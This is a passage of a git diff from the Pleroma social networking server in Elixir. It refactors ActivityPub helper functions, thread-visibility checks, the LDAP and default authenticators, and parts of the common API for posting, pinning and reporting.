	changeset <- Changeset.change(object, data: new_data),
	{:ok, object} <- Object.update_and_set_cache(changeset),
	_ <- update_object_in_activities(object) do
	{:ok, object}
	end
	end

	def update_likes_in_object(likes, object) do
	update_element_in_object("like", likes, object)
	end

	def add_like_to_object(%Activity{data: %{"actor" => actor}}, object) do
	likes = if is_list(object.data["likes"]), do: object.data["likes"], else: []

	with likes <- [actor \| likes] \|> Enum.uniq() do
	update_likes_in_object(likes, object)
	end
	end

	def remove_like_from_object(%Activity{data: %{"actor" => actor}}, object) do
	likes = if is_list(object.data["likes"]), do: object.data["likes"], else: []

	with likes <- likes \|> List.delete(actor) do
	update_likes_in_object(likes, object)
	end
	end

	#### Follow-related helpers

	@doc """
	Updates a follow activity's state (for locked accounts).
	"""
	def update_follow_state(
	%Activity{data: %{"actor" => actor, "object" => object, "state" => "pending"}} = activity,
	state
	) do
	try do
	Ecto.Adapters.SQL.query!(
	Repo,
	"UPDATE activities SET data = jsonb_set(data, '{state}', $1) WHERE data->>'type' = 'Follow' AND data->>'actor' = $2 AND data->>'object' = $3 AND data->>'state' = 'pending'",
	[state, actor, object]
	)

	activity = Activity.get_by_id(activity.id)
	{:ok, activity}
	rescue
	e ->
	{:error, e}
	end
	end

	def update_follow_state(%Activity{} = activity, state) do
	with new_data <-
	activity.data
	\|> Map.put("state", state),
	changeset <- Changeset.change(activity, data: new_data),
	{:ok, activity} <- Repo.update(changeset) do
	{:ok, activity}
	end
	end

	@doc """
	Makes a follow activity data for the given follower and followed
	"""
	def make_follow_data(
	%User{ap_id: follower_id},
	%User{ap_id: followed_id} = _followed,
	activity_id
	) do
	data = %{
	"type" => "Follow",
	"actor" => follower_id,
	"to" => [followed_id],
	"cc" => ["https://www.w3.org/ns/activitystreams#Public"],
	"object" => followed_id,
	"state" => "pending"
	}

	data = if activity_id, do: Map.put(data, "id", activity_id), else: data

	data
	end

	def fetch_latest_follow(%User{ap_id: follower_id}, %User{ap_id: followed_id}) do
	query =
	from(
	activity in Activity,
	where:
	fragment(
	"? ->> 'type' = 'Follow'",
	activity.data
	),
	where: activity.actor == ^follower_id,
	# this is to use the index
	where:
	fragment(
	"coalesce((?)->'object'->>'id', (?)->>'object') = ?",
	activity.data,
	activity.data,
	^followed_id
	),
	order_by: [fragment("? desc nulls last", activity.id)],
	limit: 1
	)

	Repo.one(query)
	end

	#### Announce-related helpers

	@doc """
	Retruns an existing announce activity if the notice has already been announced
	"""
	def get_existing_announce(actor, %{data: %{"id" => id}}) do
	query =
	from(
	activity in Activity,
	where: activity.actor == ^actor,
	# this is to use the index
	where:
	fragment(
	"coalesce((?)->'object'->>'id', (?)->>'object') = ?",
	activity.data,
	activity.data,
	^id
	),
	where: fragment("(?)->>'type' = 'Announce'", activity.data)
	)

	Repo.one(query)
	end

	@doc """
	Make announce activity data for the given actor and object
	"""
	# for relayed messages, we only want to send to subscribers
	def make_announce_data(
	%User{ap_id: ap_id} = user,
	%Object{data: %{"id" => id}} = object,
	activity_id,
	false
	) do
	data = %{
	"type" => "Announce",
	"actor" => ap_id,
	"object" => id,
	"to" => [user.follower_address],
	"cc" => [],
	"context" => object.data["context"]
	}

	if activity_id, do: Map.put(data, "id", activity_id), else: data
	end

	def make_announce_data(
	%User{ap_id: ap_id} = user,
	%Object{data: %{"id" => id}} = object,
	activity_id,
	true
	) do
	data = %{
	"type" => "Announce",
	"actor" => ap_id,
	"object" => id,
	"to" => [user.follower_address, object.data["actor"]],
	"cc" => ["https://www.w3.org/ns/activitystreams#Public"],
	"context" => object.data["context"]
	}

	if activity_id, do: Map.put(data, "id", activity_id), else: data
	end

	@doc """
	Make unannounce activity data for the given actor and object
	"""
	def make_unannounce_data(
	%User{ap_id: ap_id} = user,
	%Activity{data: %{"context" => context}} = activity,
	activity_id
	) do
	data = %{
	"type" => "Undo",
	"actor" => ap_id,
	"object" => activity.data,
	"to" => [user.follower_address, activity.data["actor"]],
	"cc" => ["https://www.w3.org/ns/activitystreams#Public"],
	"context" => context
	}

	if activity_id, do: Map.put(data, "id", activity_id), else: data
	end

	def make_unlike_data(
	%User{ap_id: ap_id} = user,
	%Activity{data: %{"context" => context}} = activity,
	activity_id
	) do
	data = %{
	"type" => "Undo",
	"actor" => ap_id,
	"object" => activity.data,
	"to" => [user.follower_address, activity.data["actor"]],
	"cc" => ["https://www.w3.org/ns/activitystreams#Public"],
	"context" => context
	}

	if activity_id, do: Map.put(data, "id", activity_id), else: data
	end

	def add_announce_to_object(
	%Activity{
	data: %{"actor" => actor, "cc" => ["https://www.w3.org/ns/activitystreams#Public"]}
	},
	object
	) do
	announcements =
	if is_list(object.data["announcements"]), do: object.data["announcements"], else: []

	with announcements <- [actor \| announcements] \|> Enum.uniq() do
	update_element_in_object("announcement", announcements, object)
	end
	end

	def add_announce_to_object(_, object), do: {:ok, object}

	def remove_announce_from_object(%Activity{data: %{"actor" => actor}}, object) do
	announcements =
	if is_list(object.data["announcements"]), do: object.data["announcements"], else: []

	with announcements <- announcements \|> List.delete(actor) do
	update_element_in_object("announcement", announcements, object)
	end
	end

	#### Unfollow-related helpers

	def make_unfollow_data(follower, followed, follow_activity, activity_id) do
	data = %{
	"type" => "Undo",
	"actor" => follower.ap_id,
	"to" => [followed.ap_id],
	"object" => follow_activity.data
	}

	if activity_id, do: Map.put(data, "id", activity_id), else: data
	end

	#### Block-related helpers
	def fetch_latest_block(%User{ap_id: blocker_id}, %User{ap_id: blocked_id}) do
	query =
	from(
	activity in Activity,
	where:
	fragment(
	"? ->> 'type' = 'Block'",
	activity.data
	),
	where: activity.actor == ^blocker_id,
	# this is to use the index
	where:
	fragment(
	"coalesce((?)->'object'->>'id', (?)->>'object') = ?",
	activity.data,
	activity.data,
	^blocked_id
	),
	order_by: [fragment("? desc nulls last", activity.id)],
	limit: 1
	)

	Repo.one(query)
	end

	def make_block_data(blocker, blocked, activity_id) do
	data = %{
	"type" => "Block",
	"actor" => blocker.ap_id,
	"to" => [blocked.ap_id],
	"object" => blocked.ap_id
	}

	if activity_id, do: Map.put(data, "id", activity_id), else: data
	end

	def make_unblock_data(blocker, blocked, block_activity, activity_id) do
	data = %{
	"type" => "Undo",
	"actor" => blocker.ap_id,
	"to" => [blocked.ap_id],
	"object" => block_activity.data
	}

	if activity_id, do: Map.put(data, "id", activity_id), else: data
	end

	#### Create-related helpers

	def make_create_data(params, additional) do
	published = params.published \|\| make_date()

	%{
	"type" => "Create",
	"to" => params.to \|> Enum.uniq(),
	"actor" => params.actor.ap_id,
	"object" => params.object,
	"published" => published,
	"context" => params.context
	}
	\|> Map.merge(additional)
	end

	#### Flag-related helpers

	def make_flag_data(params, additional) do
	status_ap_ids =
	Enum.map(params.statuses \|\| [], fn
	%Activity{} = act -> act.data["id"]
	act when is_map(act) -> act["id"]
	act when is_binary(act) -> act
	end)

	object = [params.account.ap_id] ++ status_ap_ids

	%{
	"type" => "Flag",
	"actor" => params.actor.ap_id,
	"content" => params.content,
	"object" => object,
	"context" => params.context
	}
	\|> Map.merge(additional)
	end

	@doc """
	Fetches the OrderedCollection/OrderedCollectionPage from `from`, limiting the amount of pages fetched after
	the first one to `pages_left` pages.
	If the amount of pages is higher than the collection has, it returns whatever was there.
	"""
	def fetch_ordered_collection(from, pages_left, acc \\ []) do
	with {:ok, response} <- Tesla.get(from),
	{:ok, collection} <- Poison.decode(response.body) do
	case collection["type"] do
	"OrderedCollection" ->
	# If we've encountered the OrderedCollection and not the page,
	# just call the same function on the page address
	fetch_ordered_collection(collection["first"], pages_left)

	"OrderedCollectionPage" ->
	if pages_left > 0 do
	# There are still more pages
	if Map.has_key?(collection, "next") do
	# There are still more pages, go deeper saving what we have into the accumulator
	fetch_ordered_collection(
	collection["next"],
	pages_left - 1,
	acc ++ collection["orderedItems"]
	)
	else
	# No more pages left, just return whatever we already have
	acc ++ collection["orderedItems"]
	end
	else
	# Got the amount of pages needed, add them all to the accumulator
	acc ++ collection["orderedItems"]
	end

	_ ->
	{:error, "Not an OrderedCollection or OrderedCollectionPage"}
	end
	end
	end
	end
	diff --git a/lib/pleroma/web/activity_pub/visibility.ex b/lib/pleroma/web/activity_pub/visibility.ex
	index db52fe933..6dee61dd6 100644
	--- a/lib/pleroma/web/activity_pub/visibility.ex
	+++ b/lib/pleroma/web/activity_pub/visibility.ex
	@@ -1,56 +1,61 @@
	defmodule Pleroma.Web.ActivityPub.Visibility do
	alias Pleroma.Activity
	alias Pleroma.Object
	alias Pleroma.User

	def is_public?(%Object{data: %{"type" => "Tombstone"}}), do: false
	def is_public?(%Object{data: data}), do: is_public?(data)
	def is_public?(%Activity{data: data}), do: is_public?(data)
	def is_public?(%{"directMessage" => true}), do: false

	def is_public?(data) do
	"https://www.w3.org/ns/activitystreams#Public" in (data["to"] ++ (data["cc"] \|\| []))
	end

	def is_private?(activity) do
	unless is_public?(activity) do
	follower_address = User.get_cached_by_ap_id(activity.data["actor"]).follower_address
	Enum.any?(activity.data["to"], &(&1 == follower_address))
	else
	false
	end
	end

	def is_direct?(%Activity{data: %{"directMessage" => true}}), do: true
	def is_direct?(%Object{data: %{"directMessage" => true}}), do: true

	def is_direct?(activity) do
	!is_public?(activity) && !is_private?(activity)
	end

	def visible_for_user?(activity, nil) do
	is_public?(activity)
	end

	def visible_for_user?(activity, user) do
	x = [user.ap_id \| user.following]
	y = [activity.actor] ++ activity.data["to"] ++ (activity.data["cc"] \|\| [])
	visible_for_user?(activity, nil) \|\| Enum.any?(x, &(&1 in y))
	end

	# guard
	def entire_thread_visible_for_user?(nil, _user), do: false

	- # child
	+ # XXX: Probably even more inefficient than the previous implementation intended to be a placeholder untill https://git.pleroma.social/pleroma/pleroma/merge_requests/971 is in develop
	+ # credo:disable-for-previous-line Credo.Check.Readability.MaxLineLength
	+
	def entire_thread_visible_for_user?(
	- %Activity{data: %{"object" => %{"inReplyTo" => parent_id}}} = tail,
	+ %Activity{} = tail,
	+ # %Activity{data: %{"object" => %{"inReplyTo" => parent_id}}} = tail,
	user
	- )
	- when is_binary(parent_id) do
	- parent = Activity.get_in_reply_to_activity(tail)
	- visible_for_user?(tail, user) && entire_thread_visible_for_user?(parent, user)
	+ ) do
	+ case Object.normalize(tail) do
	+ %{data: %{"inReplyTo" => parent_id}} when is_binary(parent_id) ->
	+ parent = Activity.get_in_reply_to_activity(tail)
	+ visible_for_user?(tail, user) && entire_thread_visible_for_user?(parent, user)
	+
	+ _ ->
	+ visible_for_user?(tail, user)
	+ end
	end
	-
	- # root
	- def entire_thread_visible_for_user?(tail, user), do: visible_for_user?(tail, user)
	end
	diff --git a/lib/pleroma/web/auth/authenticator.ex b/lib/pleroma/web/auth/authenticator.ex
	index 89d88af32..b02f595dc 100644
	--- a/lib/pleroma/web/auth/authenticator.ex
	+++ b/lib/pleroma/web/auth/authenticator.ex
	@@ -1,45 +1,45 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Auth.Authenticator do
	alias Pleroma.Registration
	alias Pleroma.User

	def implementation do
	Pleroma.Config.get(
	Pleroma.Web.Auth.Authenticator,
	Pleroma.Web.Auth.PleromaAuthenticator
	)
	end

	- @callback get_user(Plug.Conn.t(), Map.t()) :: {:ok, User.t()} \| {:error, any()}
	- def get_user(plug, params), do: implementation().get_user(plug, params)
	+ @callback get_user(Plug.Conn.t()) :: {:ok, User.t()} \| {:error, any()}
	+ def get_user(plug), do: implementation().get_user(plug)

	- @callback create_from_registration(Plug.Conn.t(), Map.t(), Registration.t()) ::
	+ @callback create_from_registration(Plug.Conn.t(), Registration.t()) ::
	{:ok, User.t()} \| {:error, any()}
	- def create_from_registration(plug, params, registration),
	- do: implementation().create_from_registration(plug, params, registration)
	+ def create_from_registration(plug, registration),
	+ do: implementation().create_from_registration(plug, registration)

	- @callback get_registration(Plug.Conn.t(), Map.t()) ::
	+ @callback get_registration(Plug.Conn.t()) ::
	{:ok, Registration.t()} \| {:error, any()}
	- def get_registration(plug, params),
	- do: implementation().get_registration(plug, params)
	+ def get_registration(plug), do: implementation().get_registration(plug)

	@callback handle_error(Plug.Conn.t(), any()) :: any()
	- def handle_error(plug, error), do: implementation().handle_error(plug, error)
	+ def handle_error(plug, error),
	+ do: implementation().handle_error(plug, error)

	@callback auth_template() :: String.t() \| nil
	def auth_template do
	# Note: `config :pleroma, :auth_template, "..."` support is deprecated
	implementation().auth_template() \|\|
	Pleroma.Config.get([:auth, :auth_template], Pleroma.Config.get(:auth_template)) \|\|
	"show.html"
	end

	@callback oauth_consumer_template() :: String.t() \| nil
	def oauth_consumer_template do
	implementation().oauth_consumer_template() \|\|
	Pleroma.Config.get([:auth, :oauth_consumer_template], "consumer.html")
	end
	end
	diff --git a/lib/pleroma/web/auth/ldap_authenticator.ex b/lib/pleroma/web/auth/ldap_authenticator.ex
	index 8b6d5a77f..363c99597 100644
	--- a/lib/pleroma/web/auth/ldap_authenticator.ex
	+++ b/lib/pleroma/web/auth/ldap_authenticator.ex
	@@ -1,150 +1,144 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Auth.LDAPAuthenticator do
	alias Pleroma.User

	require Logger

	@behaviour Pleroma.Web.Auth.Authenticator
	@base Pleroma.Web.Auth.PleromaAuthenticator

	@connection_timeout 10_000
	@search_timeout 10_000

	- defdelegate get_registration(conn, params), to: @base
	+ defdelegate get_registration(conn), to: @base
	+ defdelegate create_from_registration(conn, registration), to: @base
	+ defdelegate handle_error(conn, error), to: @base
	+ defdelegate auth_template, to: @base
	+ defdelegate oauth_consumer_template, to: @base

	- defdelegate create_from_registration(conn, params, registration), to: @base
	-
	- def get_user(%Plug.Conn{} = conn, params) do
	+ def get_user(%Plug.Conn{} = conn) do
	if Pleroma.Config.get([:ldap, :enabled]) do
	{name, password} =
	- case params do
	+ case conn.params do
	%{"authorization" => %{"name" => name, "password" => password}} ->
	{name, password}

	%{"grant_type" => "password", "username" => name, "password" => password} ->
	{name, password}
	end

	case ldap_user(name, password) do
	%User{} = user ->
	{:ok, user}

	{:error, {:ldap_connection_error, _}} ->
	# When LDAP is unavailable, try default authenticator
	- @base.get_user(conn, params)
	+ @base.get_user(conn)

	error ->
	error
	end
	else
	# Fall back to default authenticator
	- @base.get_user(conn, params)
	+ @base.get_user(conn)
	end
	end

	- def handle_error(%Plug.Conn{} = _conn, error) do
	- error
	- end
	-
	- def auth_template, do: nil
	-
	- def oauth_consumer_template, do: nil
	-
	defp ldap_user(name, password) do
	ldap = Pleroma.Config.get(:ldap, [])
	host = Keyword.get(ldap, :host, "localhost")
	port = Keyword.get(ldap, :port, 389)
	ssl = Keyword.get(ldap, :ssl, false)
	sslopts = Keyword.get(ldap, :sslopts, [])

	options =
	[{:port, port}, {:ssl, ssl}, {:timeout, @connection_timeout}] ++
	if sslopts != [], do: [{:sslopts, sslopts}], else: []

	case :eldap.open([to_charlist(host)], options) do
	{:ok, connection} ->
	try do
	if Keyword.get(ldap, :tls, false) do
	:application.ensure_all_started(:ssl)

	case :eldap.start_tls(
	connection,
	Keyword.get(ldap, :tlsopts, []),
	@connection_timeout
	) do
	:ok ->
	:ok

	error ->
	Logger.error("Could not start TLS: #{inspect(error)}")
	end
	end

	bind_user(connection, ldap, name, password)
	after
	:eldap.close(connection)
	end

	{:error, error} ->
	Logger.error("Could not open LDAP connection: #{inspect(error)}")
	{:error, {:ldap_connection_error, error}}
	end
	end

	defp bind_user(connection, ldap, name, password) do
	uid = Keyword.get(ldap, :uid, "cn")
	base = Keyword.get(ldap, :base)

	case :eldap.simple_bind(connection, "#{uid}=#{name},#{base}", password) do
	:ok ->
	case User.get_by_nickname_or_email(name) do
	%User{} = user ->
	user

	_ ->
	register_user(connection, base, uid, name, password)
	end

	error ->
	error
	end
	end

	defp register_user(connection, base, uid, name, password) do
	case :eldap.search(connection, [
	{:base, to_charlist(base)},
	{:filter, :eldap.equalityMatch(to_charlist(uid), to_charlist(name))},
	{:scope, :eldap.wholeSubtree()},
	{:attributes, ['mail', 'email']},
	{:timeout, @search_timeout}
	]) do
	{:ok, {:eldap_search_result, [{:eldap_entry, _, attributes}], _}} ->
	with {_, [mail]} <- List.keyfind(attributes, 'mail', 0) do
	params = %{
	email: :erlang.list_to_binary(mail),
	name: name,
	nickname: name,
	password: password,
	password_confirmation: password
	}

	changeset = User.register_changeset(%User{}, params)

	case User.register(changeset) do
	{:ok, user} -> user
	error -> error
	end
	else
	_ ->
	Logger.error("Could not find LDAP attribute mail: #{inspect(attributes)}")
	{:error, :ldap_registration_missing_attributes}
	end

	error ->
	error
	end
	end
	end
	diff --git a/lib/pleroma/web/auth/pleroma_authenticator.ex b/lib/pleroma/web/auth/pleroma_authenticator.ex
	index c826adb4c..d647f1e05 100644
	--- a/lib/pleroma/web/auth/pleroma_authenticator.ex
	+++ b/lib/pleroma/web/auth/pleroma_authenticator.ex
	@@ -1,97 +1,100 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Auth.PleromaAuthenticator do
	alias Comeonin.Pbkdf2
	alias Pleroma.Registration
	alias Pleroma.Repo
	alias Pleroma.User

	@behaviour Pleroma.Web.Auth.Authenticator

	- def get_user(%Plug.Conn{} = _conn, params) do
	+ def get_user(%Plug.Conn{} = conn) do
	{name, password} =
	- case params do
	+ case conn.params do
	%{"authorization" => %{"name" => name, "password" => password}} ->
	{name, password}

	%{"grant_type" => "password", "username" => name, "password" => password} ->
	{name, password}
	end

	with {_, %User{} = user} <- {:user, User.get_by_nickname_or_email(name)},
	{_, true} <- {:checkpw, Pbkdf2.checkpw(password, user.password_hash)} do
	{:ok, user}
	else
	error ->
	{:error, error}
	end
	end

	- def get_registration(
	- %Plug.Conn{assigns: %{ueberauth_auth: %{provider: provider, uid: uid} = auth}},
	- _params
	- ) do
	+ def get_registration(%Plug.Conn{
	+ assigns: %{ueberauth_auth: %{provider: provider, uid: uid} = auth}
	+ }) do
	registration = Registration.get_by_provider_uid(provider, uid)

	if registration do
	{:ok, registration}
	else
	info = auth.info

	- Registration.changeset(%Registration{}, %{
	+ %Registration{}
	+ \|> Registration.changeset(%{
	provider: to_string(provider),
	uid: to_string(uid),
	info: %{
	"nickname" => info.nickname,
	"email" => info.email,
	"name" => info.name,
	"description" => info.description
	}
	})
	\|> Repo.insert()
	end
	end

	- def get_registration(%Plug.Conn{} = _conn, _params), do: {:error, :missing_credentials}
	+ def get_registration(%Plug.Conn{} = _conn), do: {:error, :missing_credentials}

	- def create_from_registration(_conn, params, registration) do
	- nickname = value([params["nickname"], Registration.nickname(registration)])
	- email = value([params["email"], Registration.email(registration)])
	- name = value([params["name"], Registration.name(registration)]) \|\| nickname
	- bio = value([params["bio"], Registration.description(registration)])
	+ def create_from_registration(
	+ %Plug.Conn{params: %{"authorization" => registration_attrs}},
	+ registration
	+ ) do
	+ nickname = value([registration_attrs["nickname"], Registration.nickname(registration)])
	+ email = value([registration_attrs["email"], Registration.email(registration)])
	+ name = value([registration_attrs["name"], Registration.name(registration)]) \|\| nickname
	+ bio = value([registration_attrs["bio"], Registration.description(registration)])

	random_password = :crypto.strong_rand_bytes(64) \|> Base.encode64()

	with {:ok, new_user} <-
	User.register_changeset(
	%User{},
	%{
	email: email,
	nickname: nickname,
	name: name,
	bio: bio,
	password: random_password,
	password_confirmation: random_password
	},
	external: true,
	confirmed: true
	)
	\|> Repo.insert(),
	{:ok, _} <-
	Registration.changeset(registration, %{user_id: new_user.id}) \|> Repo.update() do
	{:ok, new_user}
	end
	end

	defp value(list), do: Enum.find(list, &(to_string(&1) != ""))

	def handle_error(%Plug.Conn{} = _conn, error) do
	error
	end

	def auth_template, do: nil

	def oauth_consumer_template, do: nil
	end
	diff --git a/lib/pleroma/web/common_api/common_api.ex b/lib/pleroma/web/common_api/common_api.ex
	index ac31337a0..cfbc5dc10 100644
	--- a/lib/pleroma/web/common_api/common_api.ex
	+++ b/lib/pleroma/web/common_api/common_api.ex
	@@ -1,321 +1,326 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.CommonAPI do
	alias Pleroma.Activity
	alias Pleroma.Formatter
	alias Pleroma.Object
	alias Pleroma.ThreadMute
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.ActivityPub.Utils

	import Pleroma.Web.CommonAPI.Utils

	def follow(follower, followed) do
	with {:ok, follower} <- User.maybe_direct_follow(follower, followed),
	{:ok, activity} <- ActivityPub.follow(follower, followed),
	{:ok, follower, followed} <-
	User.wait_and_refresh(
	Pleroma.Config.get([:activitypub, :follow_handshake_timeout]),
	follower,
	followed
	) do
	{:ok, follower, followed, activity}
	end
	end

	def unfollow(follower, unfollowed) do
	with {:ok, follower, _follow_activity} <- User.unfollow(follower, unfollowed),
	{:ok, _activity} <- ActivityPub.unfollow(follower, unfollowed) do
	{:ok, follower}
	end
	end

	def accept_follow_request(follower, followed) do
	with {:ok, follower} <- User.maybe_follow(follower, followed),
	%Activity{} = follow_activity <- Utils.fetch_latest_follow(follower, followed),
	{:ok, follow_activity} <- Utils.update_follow_state(follow_activity, "accept"),
	{:ok, _activity} <-
	ActivityPub.accept(%{
	to: [follower.ap_id],
	actor: followed,
	object: follow_activity.data["id"],
	type: "Accept"
	}) do
	{:ok, follower}
	end
	end

	def reject_follow_request(follower, followed) do
	with %Activity{} = follow_activity <- Utils.fetch_latest_follow(follower, followed),
	{:ok, follow_activity} <- Utils.update_follow_state(follow_activity, "reject"),
	{:ok, _activity} <-
	ActivityPub.reject(%{
	to: [follower.ap_id],
	actor: followed,
	object: follow_activity.data["id"],
	type: "Reject"
	}) do
	{:ok, follower}
	end
	end

	def delete(activity_id, user) do
	with %Activity{data: %{"object" => _}} = activity <-
	Activity.get_by_id_with_object(activity_id),
	%Object{} = object <- Object.normalize(activity),
	true <- User.superuser?(user) \|\| user.ap_id == object.data["actor"],
	{:ok, _} <- unpin(activity_id, user),
	{:ok, delete} <- ActivityPub.delete(object) do
	{:ok, delete}
	end
	end

	def repeat(id_or_ap_id, user) do
	with %Activity{} = activity <- get_by_id_or_ap_id(id_or_ap_id),
	object <- Object.normalize(activity),
	nil <- Utils.get_existing_announce(user.ap_id, object) do
	ActivityPub.announce(user, object)
	else
	_ ->
	{:error, "Could not repeat"}
	end
	end

	def unrepeat(id_or_ap_id, user) do
	with %Activity{} = activity <- get_by_id_or_ap_id(id_or_ap_id),
	object <- Object.normalize(activity) do
	ActivityPub.unannounce(user, object)
	else
	_ ->
	{:error, "Could not unrepeat"}
	end
	end

	def favorite(id_or_ap_id, user) do
	with %Activity{} = activity <- get_by_id_or_ap_id(id_or_ap_id),
	object <- Object.normalize(activity),
	nil <- Utils.get_existing_like(user.ap_id, object) do
	ActivityPub.like(user, object)
	else
	_ ->
	{:error, "Could not favorite"}
	end
	end

	def unfavorite(id_or_ap_id, user) do
	with %Activity{} = activity <- get_by_id_or_ap_id(id_or_ap_id),
	object <- Object.normalize(activity) do
	ActivityPub.unlike(user, object)
	else
	_ ->
	{:error, "Could not unfavorite"}
	end
	end

	def get_visibility(%{"visibility" => visibility})
	when visibility in ~w{public unlisted private direct},
	do: visibility

	def get_visibility(%{"in_reply_to_status_id" => status_id}) when not is_nil(status_id) do
	case get_replied_to_activity(status_id) do
	nil ->
	"public"

	in_reply_to ->
	- Pleroma.Web.MastodonAPI.StatusView.get_visibility(in_reply_to.data["object"])
	+ # XXX: these heuristics should be moved out of MastodonAPI.
	+ with %Object{} = object <- Object.normalize(in_reply_to) do
	+ Pleroma.Web.MastodonAPI.StatusView.get_visibility(object)
	+ end
	end
	end

	def get_visibility(_), do: "public"

	def post(user, %{"status" => status} = data) do
	visibility = get_visibility(data)
	limit = Pleroma.Config.get([:instance, :limit])

	with status <- String.trim(status),
	attachments <- attachments_from_ids(data),
	in_reply_to <- get_replied_to_activity(data["in_reply_to_status_id"]),
	{content_html, mentions, tags} <-
	make_content_html(
	status,
	attachments,
	data,
	visibility
	),
	{to, cc} <- to_for_user_and_mentions(user, mentions, in_reply_to, visibility),
	context <- make_context(in_reply_to),
	cw <- data["spoiler_text"],
	full_payload <- String.trim(status <> (data["spoiler_text"] \|\| "")),
	length when length in 1..limit <- String.length(full_payload),
	object <-
	make_note_data(
	user.ap_id,
	to,
	context,
	content_html,
	attachments,
	in_reply_to,
	tags,
	cw,
	cc
	),
	object <-
	Map.put(
	object,
	"emoji",
	(Formatter.get_emoji(status) ++ Formatter.get_emoji(data["spoiler_text"]))
	\|> Enum.reduce(%{}, fn {name, file, _}, acc ->
	Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}")
	end)
	) do
	res =
	ActivityPub.create(
	%{
	to: to,
	actor: user,
	context: context,
	object: object,
	additional: %{"cc" => cc, "directMessage" => visibility == "direct"}
	},
	Pleroma.Web.ControllerHelper.truthy_param?(data["preview"]) \|\| false
	)

	res
	end
	end

	# Updates the emojis for a user based on their profile
	def update(user) do
	user =
	with emoji <- emoji_from_profile(user),
	source_data <- (user.info.source_data \|\| %{}) \|> Map.put("tag", emoji),
	info_cng <- Pleroma.User.Info.set_source_data(user.info, source_data),
	change <- Ecto.Changeset.change(user) \|> Ecto.Changeset.put_embed(:info, info_cng),
	{:ok, user} <- User.update_and_set_cache(change) do
	user
	else
	_e ->
	user
	end

	ActivityPub.update(%{
	local: true,
	to: [user.follower_address],
	cc: [],
	actor: user.ap_id,
	object: Pleroma.Web.ActivityPub.UserView.render("user.json", %{user: user})
	})
	end

	def pin(id_or_ap_id, %{ap_id: user_ap_id} = user) do
	with %Activity{
	actor: ^user_ap_id,
	data: %{
	- "type" => "Create",
	- "object" => %{
	+ "type" => "Create"
	+ },
	+ object: %Object{
	+ data: %{
	"to" => object_to,
	"type" => "Note"
	}
	}
	} = activity <- get_by_id_or_ap_id(id_or_ap_id),
	true <- Enum.member?(object_to, "https://www.w3.org/ns/activitystreams#Public"),
	%{valid?: true} = info_changeset <-
	Pleroma.User.Info.add_pinnned_activity(user.info, activity),
	changeset <-
	Ecto.Changeset.change(user) \|> Ecto.Changeset.put_embed(:info, info_changeset),
	{:ok, _user} <- User.update_and_set_cache(changeset) do
	{:ok, activity}
	else
	%{errors: [pinned_activities: {err, _}]} ->
	{:error, err}

	_ ->
	{:error, "Could not pin"}
	end
	end

	def unpin(id_or_ap_id, user) do
	with %Activity{} = activity <- get_by_id_or_ap_id(id_or_ap_id),
	%{valid?: true} = info_changeset <-
	Pleroma.User.Info.remove_pinnned_activity(user.info, activity),
	changeset <-
	Ecto.Changeset.change(user) \|> Ecto.Changeset.put_embed(:info, info_changeset),
	{:ok, _user} <- User.update_and_set_cache(changeset) do
	{:ok, activity}
	else
	%{errors: [pinned_activities: {err, _}]} ->
	{:error, err}

	_ ->
	{:error, "Could not unpin"}
	end
	end

	def add_mute(user, activity) do
	with {:ok, _} <- ThreadMute.add_mute(user.id, activity.data["context"]) do
	{:ok, activity}
	else
	{:error, _} -> {:error, "conversation is already muted"}
	end
	end

	def remove_mute(user, activity) do
	ThreadMute.remove_mute(user.id, activity.data["context"])
	{:ok, activity}
	end

	def thread_muted?(%{id: nil} = _user, _activity), do: false

	def thread_muted?(user, activity) do
	with [] <- ThreadMute.check_muted(user.id, activity.data["context"]) do
	false
	else
	_ -> true
	end
	end

	def report(user, data) do
	with {:account_id, %{"account_id" => account_id}} <- {:account_id, data},
	{:account, %User{} = account} <- {:account, User.get_cached_by_id(account_id)},
	{:ok, {content_html, _, _}} <- make_report_content_html(data["comment"]),
	{:ok, statuses} <- get_report_statuses(account, data),
	{:ok, activity} <-
	ActivityPub.flag(%{
	context: Utils.generate_context_id(),
	actor: user,
	account: account,
	statuses: statuses,
	content: content_html,
	forward: data["forward"] \|\| false
	}) do
	{:ok, activity}
	else
	{:error, err} -> {:error, err}
	{:account_id, %{}} -> {:error, "Valid `account_id` required"}
	{:account, nil} -> {:error, "Account not found"}
	end
	end

	def hide_reblogs(user, muted) do
	ap_id = muted.ap_id

	if ap_id not in user.info.muted_reblogs do
	info_changeset = User.Info.add_reblog_mute(user.info, ap_id)
	changeset = Ecto.Changeset.change(user) \|> Ecto.Changeset.put_embed(:info, info_changeset)
	User.update_and_set_cache(changeset)
	end
	end

	def show_reblogs(user, muted) do
	ap_id = muted.ap_id

	if ap_id in user.info.muted_reblogs do
	info_changeset = User.Info.remove_reblog_mute(user.info, ap_id)
	changeset = Ecto.Changeset.change(user) \|> Ecto.Changeset.put_embed(:info, info_changeset)
	User.update_and_set_cache(changeset)
	end
	end
	end
	diff --git a/lib/pleroma/web/common_api/utils.ex b/lib/pleroma/web/common_api/utils.ex
	index 7a976646a..0852896d0 100644
	--- a/lib/pleroma/web/common_api/utils.ex
	+++ b/lib/pleroma/web/common_api/utils.ex
	@@ -1,410 +1,412 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.CommonAPI.Utils do
	alias Calendar.Strftime
	alias Comeonin.Pbkdf2
	alias Pleroma.Activity
	alias Pleroma.Config
	alias Pleroma.Formatter
	alias Pleroma.Object
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.Utils
	alias Pleroma.Web.ActivityPub.Visibility
	alias Pleroma.Web.Endpoint
